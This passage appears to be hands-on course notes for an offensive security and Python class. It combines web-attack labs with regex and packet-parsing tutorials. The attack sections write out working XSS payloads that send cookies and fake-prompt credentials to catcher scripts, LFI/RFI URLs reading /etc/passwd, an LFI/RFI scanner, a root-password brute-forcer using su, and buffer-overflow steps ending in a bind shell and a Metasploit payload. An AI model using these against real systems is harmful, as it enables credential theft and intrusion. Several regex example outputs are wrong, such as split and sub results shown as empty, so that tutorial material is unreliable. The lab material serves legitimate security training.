- -------------------------------------------------------------------------------------
- This should pop-up an alert window with your message in it proving XSS is in fact possible.
- Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
- 3. In the search box type:
- ---------------------------Paste this into Firefox-----------------------------------
- <script>alert(document.cookie)</script>
- -------------------------------------------------------------------------------------
- This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
- Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
- 4. Now replace that alert script with:
- ---------------------------Paste this into Firefox-----------------------------------
- <script>document.location="http://45.63.104.73/xss_practice/cookie_catcher.php?c="+document.cookie</script>
- -------------------------------------------------------------------------------------
- This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
- 5. Now view the stolen cookie at:
- ---------------------------Paste this into Firefox-----------------------------------
- http://45.63.104.73/xss_practice/cookie_stealer_logs.html
- -------------------------------------------------------------------------------------
- The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
- ############################
- # A Better Way To Demo XSS #
- ############################
- Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box.
- Use Firefox to browse to the following location:
- ---------------------------Paste this into Firefox-----------------------------------
- http://45.63.104.73/xss_practice/
- -------------------------------------------------------------------------------------
- Paste this in the search box
- ----------------------------
- Option 1
- --------
- ---------------------------Paste this into Firefox-----------------------------------
- <script>
- password=prompt('Your session is expired. Please enter your password to continue',' ');
- document.write("<img src=\"http://45.63.104.73/xss_practice/passwordgrabber.php?password=" +password+"\">");
- </script>
- -------------------------------------------------------------------------------------
- Now view the stolen cookie at:
- ---------------------------Paste this into Firefox-----------------------------------
- http://45.63.104.73/xss_practice/passwords.html
- -------------------------------------------------------------------------------------
- Option 2
- --------
- -------------------------Paste this into Firefox-----------------------------------
- <script>
- username=prompt('Please enter your username',' ');
- password=prompt('Please enter your password',' ');
- document.write("<img src=\"http://45.63.104.73/xss_practice/unpw_catcher.php?username="+username+"&password="+password+"\">");
- </script>
- -------------------------------------------------------------------------------------
- Now view the stolen cookie at:
- http://45.63.104.73/xss_practice/username_password_logs.html
- #########################################
- # Let's try a local file include (LFI) #
- #########################################
- - Here is an example of an LFI
- - Open this page in Firefox:
- -------------------------Paste this into Firefox-----------------------------------
- http://45.63.104.73/showfile.php?filename=contactus.txt
- -------------------------------------------------------------------------------------
- - Notice the page name (showfile.php) and the parameter name (filename) and the filename (contactus.txt)
- - Here you see a direct reference to a file on the local filesystem of the victim machine.
- - You can attack this by doing the following:
- -------------------------Paste this into Firefox-----------------------------------
- http://45.63.104.73/showfile.php?filename=/etc/passwd
- -------------------------------------------------------------------------------------
- - This is an example of a Local File Include (LFI), to change this attack into a Remote File Include (RFI) you need some content from
- - somewhere else on the Internet. Here is an example of a text file on the web:
- -------------------------Paste this into Firefox-----------------------------------
- http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
- -------------------------------------------------------------------------------------
- - Now we can attack the target via RFI like this:
- -------------------------Paste this into Firefox-----------------------------------
- http://45.63.104.73/showfile.php?filename=http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
- -------------------------------------------------------------------------------------
- ###############################
- # How much fuzzing is enough? #
- ###############################
- There really is no exact science for determining the correct amount of fuzzing per parameter to do before moving on to something else.
- Here are the steps that I follow when I'm testing (my mental decision tree) to figure out how much fuzzing to do.
- Step 1: Ask yourself the 3 questions per page of the site.
- Step 2: If the answer is yes, then go down that particular attack path with a few fuzz strings (I usually do 10-20 fuzz strings per parameter)
- Step 3: When you load your fuzz strings - use the following decision tree
- - Are the fuzz strings causing a default error message (example 404)?
- - If this is the case then it is most likely NOT vulnerable
- - Are the fuzz strings causing a WAF or LB custom error message?
- - If this is the case then you need to find an encoding method to bypass
- - Are the fuzz strings causing an error message that discloses the backend type?
- - If yes, then identify DB type and find correct syntax to successfully exploit
- - Some example strings that I use are:
- '
- "
- () <----- Take the parameter value and put it in parenthesis
- (5-1) <----- See if you can perform an arithmetic function
- - Are the fuzz strings rendering executable code?
- - If yes, then report XSS/CSRF/Response Splitting/Request Smuggling/etc
- - Some example strings that I use are:
- <b>hello</b>
- <u>hello</u>
- <script>alert(123);</script>
- <script>alert(xss);</script>
- <script>alert('xss');</script>
- <script>alert("xss");</script>
- ######################################
- # Python Functions & String Handling #
- ######################################
- Python can make use of functions:
- http://www.tutorialspoint.com/python/python_functions.htm
- Python can interact with the 'crypt' function used to create Unix passwords:
- http://docs.python.org/2/library/crypt.html
- Tonight we will see a lot of the split() method so be sure to keep the following references close by:
- http://www.tutorialspoint.com/python/string_split.htm
- Tonight we will see a lot of slicing so be sure to keep the following references close by:
- http://techearth.net/python/index.php5?title=Python:Basics:Slices
- ---------------------------Type This-----------------------------------
- vi LFI-RFI.py
- ---------------------------Paste This-----------------------------------
- #!/usr/bin/env python
- print "\n### PHP LFI/RFI Detector ###"
- import urllib2,re,sys
- TARGET = "http://45.63.104.73/showfile.php?filename=about.txt"
- RFIVULN = "https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt?"
- TravLimit = 12
- print "==> Testing for LFI vulns.."
- TARGET = TARGET.split("=")[0]+"=" ## URL MANUPLIATION
- for x in xrange(1,TravLimit): ## ITERATE THROUGH THE LOOP
- TARGET += "../"
- try:
- source = urllib2.urlopen((TARGET+"etc/passwd")).read() ## WEB REQUEST
- except urllib2.URLError, e:
- print "$$$ We had an Error:",e
- sys.exit(0)
- if re.search("root:x:0:0:",source): ## SEARCH FOR TEXT IN SOURCE
- print "!! ==> LFI Found:",TARGET+"etc/passwd"
- break ## BREAK LOOP WHEN VULN FOUND
- print "\n==> Testing for RFI vulns.."
- TARGET = TARGET.split("=")[0]+"="+RFIVULN ## URL MANUPLIATION
- try:
- source = urllib2.urlopen(TARGET).read() ## WEB REQUEST
- except urllib2.URLError, e:
- print "$$$ We had an Error:",e
- sys.exit(0)
- if re.search("Hello world",source): ## SEARCH FOR TEXT IN SOURCE
- print "!! => RFI Found:",TARGET
- print "\nScan Complete\n" ## DONE
- -----------------------------------------------------------------------
- #####################
- # Password Cracking #
- #####################
- ---------------------------Type This-----------------------------------
- wget http://45.63.104.73/htcrack.py
- vi htcrack.py
- vi list.txt
- ---------------------------Paste This-----------------------------------
- hello
- goodbye
- red
- blue
- yourname
- tim
- bob
- -----------------------------------------------------------------------
- ---------------------------Type This-----------------------------------
- htpasswd -nd yourname
- - enter yourname as the password
- python htcrack.py joe:7XsJIbCFzqg/o list.txt
- sudo apt-get install -y python-mechanize python-pexpect python-pexpect-doc
- rm -rf mechanize-0.2.5.tar.gz
- sudo /bin/bash
- passwd
- ***set root password***
- ---------------------------Type This-----------------------------------
- vi rootbrute.py
- ---------------------------Paste This-----------------------------------
- #!/usr/bin/env python
- import sys
- try:
- import pexpect
- except(ImportError):
- print "\nYou need the pexpect module."
- print "http://www.noah.org/wiki/Pexpect\n"
- sys.exit(1)
- #Change this if needed.
- # LOGIN_ERROR = 'su: incorrect password'
- LOGIN_ERROR = "su: Authentication failure"
- def brute(word):
- print "Trying:",word
- child = pexpect.spawn('/bin/su')
- child.expect('Password: ')
- child.sendline(word)
- i = child.expect (['.+\s#\s',LOGIN_ERROR, pexpect.TIMEOUT],timeout=3)
- if i == 1:
- print "Incorrect Password"
- if i == 2:
- print "\n\t[!] Root Password:" ,word
- child.sendline ('id')
- print child.before
- child.interact()
- if len(sys.argv) != 2:
- print "\nUsage : ./rootbrute.py <wordlist>"
- print "Eg: ./rootbrute.py words.txt\n"
- sys.exit(1)
- try:
- words = open(sys.argv[1], "r").readlines()
- except(IOError):
- print "\nError: Check your wordlist path\n"
- sys.exit(1)
- print "\n[+] Loaded:",len(words),"words"
- print "[+] BruteForcing...\n"
- for word in words:
- brute(word.replace("\n",""))
- -----------------------------------------------------------------------
- References you might find helpful:
- http://stackoverflow.com/questions/15026536/looping-over-a-some-ips-from-a-file-in-python
- ---------------------------Type This-----------------------------------
- wget http://45.63.104.73/md5crack.py
- vi md5crack.py
- -----------------------------------------------------------------------
- Why use hexdigest
- http://stackoverflow.com/questions/3583265/compare-result-from-hexdigest-to-a-string
- http://md5online.net/
- ---------------------------Type This-----------------------------------
- wget http://45.63.104.73/wpbruteforcer.py
- nano wpbruteforcer.py
- -----------------------------------------------------------------------
- #######################
- # Regular Expressions #
- #######################
- **************************************************
- * What is Regular Expression and how is it used? *
- **************************************************
- Simply put, regular expression is a sequence of character(s) mainly used to find and replace patterns in a string or file.
- Regular expressions use two types of characters:
- a) Meta characters: As the name suggests, these characters have a special meaning, similar to * in wildcard.
- b) Literals (like a,b,1,2…)
- In Python, we have module "re" that helps with regular expressions. So you need to import library re before you can use regular expressions in Python.
- Use this code --> import re
- The most common uses of regular expressions are:
- --------------------------------------------------
- - Search a string (search and match)
- - Finding a string (findall)
- - Break string into a sub strings (split)
- - Replace part of a string (sub)
- Let's look at the methods that library "re" provides to perform these tasks.
- ****************************************************
- * What are various methods of Regular Expressions? *
- ****************************************************
- The ‘re' package provides multiple methods to perform queries on an input string. Here are the most commonly used methods, I will discuss:
- re.match()
- re.search()
- re.findall()
- re.split()
- re.sub()
- re.compile()
- Let's look at them one by one.
- re.match(pattern, string):
- -------------------------------------------------
- This method finds match if it occurs at start of the string. For example, calling match() on the string ‘AV Analytics AV' and looking for a pattern ‘AV' will match. However, if we look for only Analytics, the pattern will not match. Let's perform it in python now.
- Code
- ---------------------------Type This-----------------------------------
- import re
- result = re.match(r'AV', 'AV Analytics ESET AV')
- print result
- ----------------------------------------------------------------------
- Output:
- <_sre.SRE_Match object at 0x0000000009BE4370>
- Above, it shows that pattern match has been found. To print the matching string we'll use method group (It helps to return the matching string). Use "r" at the start of the pattern string, it designates a python raw string.
- ---------------------------Type This-----------------------------------
- result = re.match(r'AV', 'AV Analytics ESET AV')
- print result.group(0)
- ----------------------------------------------------------------------
- Output:
- AV
- Let's now find ‘Analytics' in the given string. Here we see that string is not starting with ‘AV' so it should return no match. Let's see what we get:
- Code
- ---------------------------Type This-----------------------------------
- result = re.match(r'Analytics', 'AV Analytics ESET AV')
- print result
- ----------------------------------------------------------------------
- Output:
- None
- There are methods like start() and end() to know the start and end position of matching pattern in the string.
- Code
- ---------------------------Type This-----------------------------------
- result = re.match(r'AV', 'AV Analytics ESET AV')
- print result.start()
- print result.end()
- ----------------------------------------------------------------------
- Output:
- 0
- 2
- Above you can see that start and end position of matching pattern ‘AV' in the string and sometime it helps a lot while performing manipulation with the string.
- re.search(pattern, string):
- -----------------------------------------------------
- It is similar to match() but it doesn't restrict us to find matches at the beginning of the string only. Unlike previous method, here searching for pattern ‘Analytics' will return a match.
- Code
- ---------------------------Type This-----------------------------------
- result = re.search(r'Analytics', 'AV Analytics ESET AV')
- print result.group(0)
- ----------------------------------------------------------------------
- Output:
- Analytics
- Here you can see that, search() method is able to find a pattern from any position of the string but it only returns the first occurrence of the search pattern.
- re.findall (pattern, string):
- ------------------------------------------------------
- It helps to get a list of all matching patterns. It has no constraints of searching from start or end. If we will use method findall to search ‘AV' in given string it will return both occurrence of AV. While searching a string, I would recommend you to use re.findall() always, it can work like re.search() and re.match() both.
- Code
- ---------------------------Type This-----------------------------------
- result = re.findall(r'AV', 'AV Analytics ESET AV')
- print result
- ----------------------------------------------------------------------
- Output:
- ['AV', 'AV']
- re.split(pattern, string, [maxsplit=0]):
- ------------------------------------------------------
- This methods helps to split string by the occurrences of given pattern.
- Code
- ---------------------------Type This-----------------------------------
- result=re.split(r'y','Analytics')
- result
- ----------------------------------------------------------------------
- Output:
- []
- Above, we have split the string "Analytics" by "y". Method split() has another argument "maxsplit". It has default value of zero. In this case it does the maximum splits that can be done, but if we give value to maxsplit, it will split the string. Let's look at the example below:
- Code
- ---------------------------Type This-----------------------------------
- result=re.split(r's','Analytics eset')
- print result
- ----------------------------------------------------------------------
- Output:
- ['Analytic', ' e', 'et'] #It has performed all the splits that can be done by pattern "s".
- Code
- ---------------------------Type This-----------------------------------
- result=re.split(r's','Analytics eset',maxsplit=1)
- result
- ----------------------------------------------------------------------
- Output:
- []
- re.sub(pattern, repl, string):
- ----------------------------------------------------------
- It helps to search a pattern and replace with a new sub string. If the pattern is not found, string is returned unchanged.
- Code
- ---------------------------Type This-----------------------------------
- result=re.sub(r'Ruby','Python','Joe likes Ruby')
- result
- ----------------------------------------------------------------------
- Output:
- ''
- re.compile(pattern, repl, string):
- ----------------------------------------------------------
- We can combine a regular expression pattern into pattern objects, which can be used for pattern matching. It also helps to search a pattern again without rewriting it.
- Code
- ---------------------------Type This-----------------------------------
- import re
- pattern=re.compile('XSS')
- result=pattern.findall('XSS is Cross Site Scripting, XSS')
- print result
- result2=pattern.findall('XSS is Cross Site Scripting, SQLi is Sql Injection')
- print result2
- ----------------------------------------------------------------------
- Output:
- ['XSS', 'XSS']
- ['XSS']
- Till now, we looked at various methods of regular expression using a constant pattern (fixed characters). But, what if we do not have a constant search pattern and we want to return specific set of characters (defined by a rule) from a string? Don't be intimidated.
- This can easily be solved by defining an expression with the help of pattern operators (meta and literal characters). Let's look at the most common pattern operators.
- **********************************************
- * What are the most commonly used operators? *
- **********************************************
- Regular expressions can specify patterns, not just fixed characters. Here are the most commonly used operators that helps to generate an expression to represent required characters in a string or file. It is commonly used in web scrapping and text mining to extract required information.
- Operators Description
- . Matches with any single character except newline ‘\n'.
- ? match 0 or 1 occurrence of the pattern to its left
- + 1 or more occurrences of the pattern to its left
- * 0 or more occurrences of the pattern to its left
- \w Matches with a alphanumeric character whereas \W (upper case W) matches non alphanumeric character.
- \d Matches with digits [0-9] and /D (upper case D) matches with non-digits.
- \s Matches with a single white space character (space, newline, return, tab, form) and \S (upper case S) matches any non-white space character.
- \b boundary between word and non-word and /B is opposite of /b
- [..] Matches any single character in a square bracket and [^..] matches any single character not in square bracket
- \ It is used for special meaning characters like \. to match a period or \+ for plus sign.
- ^ and $ ^ and $ match the start or end of the string respectively
- {n,m} Matches at least n and at most m occurrences of preceding expression if we write it as {,m} then it will return at least any minimum occurrence to max m preceding expression.
- a| b Matches either a or b
- ( ) Groups regular expressions and returns matched text
- \t, \n, \r Matches tab, newline, return
- For more details on meta characters "(", ")","|" and others details , you can refer this link (https://docs.python.org/2/library/re.html).
- Now, let's understand the pattern operators by looking at the below examples.
- ****************************************
- * Some Examples of Regular Expressions *
- ****************************************
- ******************************************************
- * Problem 1: Return the first word of a given string *
- ******************************************************
- Solution-1 Extract each character (using "\w")
- ---------------------------------------------------------------------------
- Code
- ---------------------------Type This-----------------------------------
- import re
- result=re.findall(r'.','Python is the best scripting language')
- print result
- ----------------------------------------------------------------------
- Output:
- ['P', 'y', 't', 'h', 'o', 'n', ' ', 'i', 's', ' ', 't', 'h', 'e', ' ', 'b', 'e', 's', 't', ' ', 's', 'c', 'r', 'i', 'p', 't', 'i', 'n', 'g', ' ', 'l', 'a', 'n', 'g', 'u', 'a', 'g', 'e']
- Above, space is also extracted, now to avoid it use "\w" instead of ".".
- Code
- ---------------------------Type This-----------------------------------
- result=re.findall(r'\w','Python is the best scripting language')
- print result
- ----------------------------------------------------------------------
- Output:
- ['P', 'y', 't', 'h', 'o', 'n', 'i', 's', 't', 'h', 'e', 'b', 'e', 's', 't', 's', 'c', 'r', 'i', 'p', 't', 'i', 'n', 'g', 'l', 'a', 'n', 'g', 'u', 'a', 'g', 'e']
- Solution-2 Extract each word (using "*" or "+")
- ---------------------------------------------------------------------------
- Code
- ---------------------------Type This-----------------------------------
- result=re.findall(r'\w*','Python is the best scripting language')
- print result
- ----------------------------------------------------------------------
- Output:
- ['Python', '', 'is', '', 'the', '', 'best', '', 'scripting', '', 'language', '']
- Again, it is returning space as a word because "*" returns zero or more matches of pattern to its left. Now to remove spaces we will go with "+".
- Code
- ---------------------------Type This-----------------------------------
- result=re.findall(r'\w+','Python is the best scripting language')
- print result
- ----------------------------------------------------------------------
- Output:
- ['Python', 'is', 'the', 'best', 'scripting', 'language']
- Solution-3 Extract each word (using "^")
- -------------------------------------------------------------------------------------
- Code
- ---------------------------Type This-----------------------------------
- result=re.findall(r'^\w+','Python is the best scripting language')
- print result
- ----------------------------------------------------------------------
- Output:
- ['Python']
- If we will use "$" instead of "^", it will return the word from the end of the string. Let's look at it.
- Code
- ---------------------------Type This-----------------------------------
- result=re.findall(r'\w+$','Python is the best scripting language')
- print result
- ----------------------------------------------------------------------
- Output:
- [‘language']
- **********************************************************
- * Problem 2: Return the first two character of each word *
- **********************************************************
- Solution-1 Extract consecutive two characters of each word, excluding spaces (using "\w")
- ------------------------------------------------------------------------------------------------------
- Code
- ---------------------------Type This-----------------------------------
- result=re.findall(r'\w\w','Python is the best')
- print result
- ----------------------------------------------------------------------
- Output:
- ['Py', 'th', 'on', 'is', 'th', 'be', 'st']
- Solution-2 Extract consecutive two characters those available at start of word boundary (using "\b")
- ------------------------------------------------------------------------------------------------------
- Code
- ---------------------------Type This-----------------------------------
- result=re.findall(r'\b\w.','Python is the best')
- print result
- ----------------------------------------------------------------------
- Output:
- ['Py', 'is', 'th', 'be']
- ********************************************************
- * Problem 3: Return the domain type of given email-ids *
- ********************************************************
- To explain it in simple manner, I will again go with a stepwise approach:
- Solution-1 Extract all characters after "@"
- ------------------------------------------------------------------------------------------------------------------
- Code
- ---------------------------Type This-----------------------------------
- result=re.findall(r'@\w+','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
- print result
- ----------------------------------------------------------------------
- Output: ['@gmail', '@test', '@strategicsec', '@rest']
- Above, you can see that ".com", ".biz" part is not extracted. To add it, we will go with below code.
- ---------------------------Type This-----------------------------------
- result=re.findall(r'@\w+.\w+','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
- print result
- ----------------------------------------------------------------------
- Output:
- ['@gmail.com', '@test.com', '@strategicsec.com', '@rest.biz']
- Solution – 2 Extract only domain name using "( )"
- -----------------------------------------------------------------------------------------------------------------------
- Code
- ---------------------------Type This-----------------------------------
- result=re.findall(r'@\w+.(\w+)','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
- print result
- ----------------------------------------------------------------------
- Output:
- ['com', 'com', 'com', 'biz']
- ********************************************
- * Problem 4: Return date from given string *
- ********************************************
- Here we will use "\d" to extract digit.
- Solution:
- ----------------------------------------------------------------------------------------------------------------------
- Code
- ---------------------------Type This-----------------------------------
- result=re.findall(r'\d{2}-\d{2}-\d{4}','Joe 34-3456 12-05-2007, XYZ 56-4532 11-11-2016, ABC 67-8945 12-01-2009')
- print result
- ----------------------------------------------------------------------
- Output:
- ['12-05-2007', '11-11-2016', '12-01-2009']
- If you want to extract only year again parenthesis "( )" will help you.
- Code
- ---------------------------Type This-----------------------------------
- result=re.findall(r'\d{2}-\d{2}-(\d{4})','Joe 34-3456 12-05-2007, XYZ 56-4532 11-11-2016, ABC 67-8945 12-01-2009')
- print result
- ----------------------------------------------------------------------
- Output:
- ['2007', '2016', '2009']
- *******************************************************************
- * Problem 5: Return all words of a string those starts with vowel *
- *******************************************************************
- Solution-1 Return each words
- -----------------------------------------------------------------------------------------------------------------
- Code
- ---------------------------Type This-----------------------------------
- result=re.findall(r'\w+','Python is the best')
- print result
- ----------------------------------------------------------------------
- Output:
- ['Python', 'is', 'the', 'best']
- Solution-2 Return words starts with alphabets (using [])
- ------------------------------------------------------------------------------------------------------------------
- Code
- ---------------------------Type This-----------------------------------
- result=re.findall(r'[aeiouAEIOU]\w+','I love Python')
- print result
- ----------------------------------------------------------------------
- Output:
- ['ove', 'on']
- Above you can see that it has returned "ove" and "on" from the mid of words. To drop these two, we need to use "\b" for word boundary.
- Solution- 3
- ------------------------------------------------------------------------------------------------------------------
- Code
- ---------------------------Type This-----------------------------------
- result=re.findall(r'\b[aeiouAEIOU]\w+','I love Python')
- print result
- ----------------------------------------------------------------------
- Output:
- []
- In similar ways, we can extract words those starts with constant using "^" within square bracket.
- Code
- ---------------------------Type This-----------------------------------
- result=re.findall(r'\b[^aeiouAEIOU]\w+','I love Python')
- print result
- ----------------------------------------------------------------------
- Output:
- [' love', ' Python']
- Above you can see that it has returned words starting with space. To drop it from output, include space in square bracket[].
- Code
- ---------------------------Type This-----------------------------------
- result=re.findall(r'\b[^aeiouAEIOU ]\w+','I love Python')
- print result
- ----------------------------------------------------------------------
- Output:
- ['love', 'Python']
- *************************************************************************************************
- * Problem 6: Validate a phone number (phone number must be of 10 digits and starts with 8 or 9) *
- *************************************************************************************************
- We have a list phone numbers in list "li" and here we will validate phone numbers using regular
- Solution
- -------------------------------------------------------------------------------------------------------------------------------------
- Code
- ---------------------------Type This-----------------------------------
- import re
- li=['9999999999','999999-999','99999x9999']
- for val in li:
- if re.match(r'[8-9]{1}[0-9]{9}',val) and len(val) == 10:
- print 'yes'
- else:
- print 'no'
- ----------------------------------------------------------------------
- Output:
- yes
- no
- no
- ******************************************************
- * Problem 7: Split a string with multiple delimiters *
- ******************************************************
- Solution
- ---------------------------------------------------------------------------------------------------------------------------
- Code
- ---------------------------Type This-----------------------------------
- import re
- line = 'asdf fjdk;afed,fjek,asdf,foo' # String has multiple delimiters (";",","," ").
- result= re.split(r'[;,\s]', line)
- print result
- ----------------------------------------------------------------------
- Output:
- ['asdf', 'fjdk', 'afed', 'fjek', 'asdf', 'foo']
- We can also use method re.sub() to replace these multiple delimiters with one as space " ".
- Code
- ---------------------------Type This-----------------------------------
- import re
- line = 'asdf fjdk;afed,fjek,asdf,foo'
- result= re.sub(r'[;,\s]',' ', line)
- print result
- ----------------------------------------------------------------------
- Output:
- asdf fjdk afed fjek asdf foo
- **************************************************
- * Problem 8: Retrieve Information from HTML file *
- **************************************************
- I want to extract information from a HTML file (see below sample data). Here we need to extract information available between <td> and </td> except the first numerical index. I have assumed here that below html code is stored in a string str.
- Sample HTML file (str)
- ---------------------------Paste This-----------------------------------
- <tr align="center"><td>1</td> <td>Noah</td> <td>Emma</td></tr>
- <tr align="center"><td>2</td> <td>Liam</td> <td>Olivia</td></tr>
- <tr align="center"><td>3</td> <td>Mason</td> <td>Sophia</td></tr>
- <tr align="center"><td>4</td> <td>Jacob</td> <td>Isabella</td></tr>
- <tr align="center"><td>5</td> <td>William</td> <td>Ava</td></tr>
- <tr align="center"><td>6</td> <td>Ethan</td> <td>Mia</td></tr>
- <tr align="center"><td>7</td> <td HTML>Michael</td> <td>Emily</td></tr>
- ----------------------------------------------------------------------
- Solution:
- Code
- ---------------------------Type This-----------------------------------
- result=re.findall(r'<td>\w+</td>\s<td>(\w+)</td>\s<td>(\w+)</td>',str)
- print result
- ----------------------------------------------------------------------
- Output:
- [('Noah', 'Emma'), ('Liam', 'Olivia'), ('Mason', 'Sophia'), ('Jacob', 'Isabella'), ('William', 'Ava'), ('Ethan', 'Mia'), ('Michael', 'Emily')]
- You can read html file using library urllib2 (see below code).
- Code
- ---------------------------Type This-----------------------------------
- import urllib2
- response = urllib2.urlopen('')
- html = response.read()
- ----------------------------------------------------------------------
- #################################################
- # Lesson 16: Parsing Packets with Python's DPKT #
- #################################################
- The first thing that you will need to do is install dpkt.
- ---------------------------Type This-----------------------------------
- sudo apt-get install -y python-dpkt
- ----------------------------------------------------------------------
- Run tcpdump to capture a .pcap file that we will use for the next exercise
- ---------------------------Type This-----------------------------------
- sudo tcpdump -ni eth0 -s0 -w quick.pcap
- ----------------------------------------------------------------------
- --open another command prompt--
- ---------------------------Type This-----------------------------------
- wget http://packetlife.net/media/library/12/tcpdump.pdf
- ----------------------------------------------------------------------
- Let's do something simple:
- ---------------------------Type This-----------------------------------
- vi quickpcap.py
- ---------------------------Paste This-----------------------------------
- #!/usr/bin/python
- import dpkt;
- # Simple script to read the timestamps in a pcap file
- # Reference: http://superbabyfeng.blogspot.com/2009/05/dpkt-tutorial-0-simple-example-how-to.html
- f = open("quick.pcap","rb")
- pcap = dpkt.pcap.Reader(f)
- for ts, buf in pcap:
- print ts;
- f.close();
- ----------------------------------------------------------------------
- Now let's run the script we just wrote
- ---------------------------Type This-----------------------------------
- python quickpcap.py
- ----------------------------------------------------------------------
- How dpkt breaks down a packet:
- Reference:
- http://superbabyfeng.blogspot.com/2009/05/dpkt-tutorial-1-dpkt-sub-modules.html
- src: the MAC address of SOURCE.
- dst: The MAC address of DESTINATION
- type: The protocol type of contained ethernet payload.
- The allowed values are listed in the file "ethernet.py",
- such as:
- a) ETH_TYPE_IP: It means that the ethernet payload is IP layer data.
- b) ETH_TYPE_IPX: Means that the ethernet payload is IPX layer data.
- References:
- http://stackoverflow.com/questions/6337878/parsing-pcap-files-with-dpkt-python
- Ok - now let's have a look at pcapparsing.py
- ---------------------------Type This-----------------------------------
- sudo tcpdump -ni eth0 -s0 -w capture-100.pcap
- ----------------------------------------------------------------------
- --open another command prompt--
- ---------------------------Type This-----------------------------------
- wget http://packetlife.net/media/library/13/Wireshark_Display_Filters.pdf
- ----------------------------------------------------------------------
- Ok - now let's have a look at pcapparsing.py
- --------------------------------------------------------------
- import socket
- import dpkt
- import sys
- f = open('capture-100.pcap','r')
- pcapReader = dpkt.pcap.Reader(f)
- for ts,data in pcapReader:
- ether = dpkt.ethernet.Ethernet(data)
- if ether.type != dpkt.ethernet.ETH_TYPE_IP: raise
- ip = ether.data
- tcp = ip.data
- src = socket.inet_ntoa(ip.src)
- srcport = tcp.sport
- dst = socket.inet_ntoa(ip.dst)
- dstport = tcp.dport
- print "src: %s (port : %s)-> dest: %s (port %s)" % (src,srcport ,dst,dstport)
- f.close()
- ----------------------------------------------------------------------
- OK - let's run it:
- ---------------------------Type This-----------------------------------
- python pcapparsing.py
- ----------------------------------------------------------------------
- running this script might throw an error like this:
- Traceback (most recent call last):
- File "pcapparsing.py", line 9, in <module>
- if ether.type != dpkt.ethernet.ETH_TYPE_IP: raise
- If it does it is just because your packet has something in it that we didn't specify (maybe ICMP, or something)
- Your homework for today...
- Rewrite this pcapparsing.py so that it prints out the timestamp, the source and destination IP addresses, and the source and destination ports.
- Your challenge is to fix the Traceback error
- ----------------------------------------------------------------------
- #####################################
- # Quick Stack Based Buffer Overflow #
- #####################################
- - You can download everything you need for this exercise (except netcat) from the link below
- http://45.63.104.73/ExploitLab.zip
- - Extract this zip file to your Desktop
- - Go to folder C:\Users\Student\Desktop\ExploitLab\2-VulnServer, and run vulnserv.exe
- - Open a new command prompt and type:
- nc localhost 9999
- - In the new command prompt window where you ran nc type:
- HELP
- - Go to folder C:\Users\Student\Desktop\ExploitLab\4-AttackScripts
- - Right-click on 1-simplefuzzer.py and choose the option edit with notepad++
- - Now double-click on 1-simplefuzzer.py
- - You'll notice that vulnserv.exe crashes. Be sure to note what command and the number of As it crashed on.
- - Restart vulnserv, and run 1-simplefuzzer.py again. Be sure to note what command and the number of As it crashed on.
- - Now go to folder C:\Users\Student\Desktop\ExploitLab\3-OllyDBG and start OllyDBG. Choose 'File' -> 'Attach' and attach to process vulnserv.exe
- - Go back to folder C:\Users\Student\Desktop\ExploitLab\4-AttackScripts and double-click on 1-simplefuzzer.py.
- - Take note of the registers (EAX, ESP, EBP, EIP) that have been overwritten with As (41s).
- - Now isolate the crash by restarting your debugger and running script 2-3000chars.py
- - Calculate the distance to EIP by running script 3-3000chars.py
- - This script sends 3000 nonrepeating chars to vulserv.exe and populates EIP with the value: 396F4338
- 4-count-chars-to-EIP.py
- - In the previous script we see that EIP is overwritten with 396F4338 is 8 (38), C (43), o (6F), 9 (39)
- - so we search for 8Co9 in the string of nonrepeating chars and count the distance to it
- 5-2006char-eip-check.py
- - In this script we check to see if our math is correct in our calculation of the distance to EIP by overwriting EIP with 42424242
- 6-jmp-esp.py
- - In this script we overwrite EIP with a JMP ESP (6250AF11) inside of essfunc.dll
- 7-first-exploit
- - In this script we actually do the stack overflow and launch a bind shell on port 4444
- 8 - Take a look at the file vulnserv.rb and place it in your Ubuntu host via SCP or copy it and paste the code into the host.
- ---------------------------------------------------------------
- On your Linux host please type the following as a regular user:
- ---------------------------------------------------------------
- cd ~/toolz/metasploit/modules/exploits/windows/misc
- nano vulnserv.rb (paste the code into this file)
- cd ~/toolz/metasploit
- ./msfconsole
- use exploit/windows/misc/vulnserv
- set PAYLOAD windows/meterpreter/bind_tcp
- set RHOST 192.168.150.1
- set RPORT 9999
- exploit
- #############
- # Functions #
- #############
- ***********************
- * What are Functions? *
- ***********************
- Functions are a convenient way to divide your code into useful blocks, allowing us to order our code, make it more readable, reuse it and save some time. Also functions are a key way to define interfaces so programmers can share their code.
- How do you write functions in Python?
- Python makes use of blocks.
- A block is a area of code of written in the format of:
- block_head:
- 1st block line
- 2nd block line
- ...
- Where a block line is more Python code (even another block), and the block head is of the following format: block_keyword block_name(argument1,argument2, ...) Block keywords you already know are "if", "for", and "while".
- Functions in python are defined using the block keyword "def", followed with the function's name as the block's name. For example:
- def my_function():
- print("Hello From My Function!")
- Functions may also receive arguments (variables passed from the caller to the function). For example:
- def my_function_with_args(username, greeting):
- print("Hello, %s , From My Function!, I wish you %s"%(username, greeting))
- Functions may return a value to the caller, using the keyword- 'return' . For example:
- def sum_two_numbers(a, b):
- return a + b
- ****************************************
- * How do you call functions in Python? *
- ****************************************
- Simply write the function's name followed by (), placing any required arguments within the brackets. For example, lets call the functions written above (in the previous example):
- # Define our 3 functions
- ---------------------------Type these commands-----------------------------------
- $ python
- >>> def my_function():
- print("Hello From My Function!")
- >>> def my_function_with_args(username, greeting):
- print("Hello, %s , From My Function!, I wish you %s"%(username, greeting))
- >>> def sum_two_numbers(a, b):
- return a + b
- >>> my_function()
- >>> my_function_with_args("Joe", "a great year!")
- >>> x = sum_two_numbers(1,2)
- >>> x
- ---------------------------------------------------------------------------------
- ************
- * Exercise *
- ************
